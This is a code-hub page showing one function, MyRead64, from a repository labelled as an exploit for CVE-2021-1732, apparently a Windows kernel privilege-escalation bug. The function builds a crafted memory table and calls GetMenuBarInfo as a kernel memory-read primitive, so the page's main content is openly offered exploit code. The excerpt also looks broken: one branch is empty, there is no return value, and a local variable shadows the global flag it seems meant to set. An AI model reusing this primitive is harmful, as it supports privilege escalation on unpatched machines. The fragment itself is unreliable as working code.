MCPcopy Create free account
hub / github.com/KaLendsi/CVE-2021-1732-Exploit / MyRead64

Function MyRead64

ExploitTest/ExploitTest.cpp:193–257  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

191
192
193QWORD MyRead64(QWORD qwDestAddr)
194{
195
196
197
198 MENUBARINFO pmbi = {};
199
200 pmbi.cbSize = sizeof(MENUBARINFO);
201
202
203
204
205 if (g_bIsInit)
206 {
207
208
209
210 }
211 else
212 {
213
214 QWORD *pTemp = (QWORD*)LocalAlloc(0x40u, 0x200ui64);
215
216 memset(pTemp, 0, 0x200);
217
218 QWORD qwBase = 0x000000400000000;
219
220
221 QWORD qwAdd = 0x0000000800000008;
222
223
224
225
226 for (int i = 0; i < 0x40; i++)
227 {
228
229 *(pTemp + i) = qwBase + qwAdd*i;
230
231 }
232
233
234 *(QWORD *)ref_g_pMem5 = (QWORD)pTemp;
235
236
237 GetMenuBarInfo(g_hWndMax, -3, 1, &pmbi);
238
239
240 g_pmbi_rcBar_left = pmbi.rcBar.left;
241
242
243 bool g_bIsInit = 1;
244
245
246 }
247
248
249
250

Callers 1

_tmainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected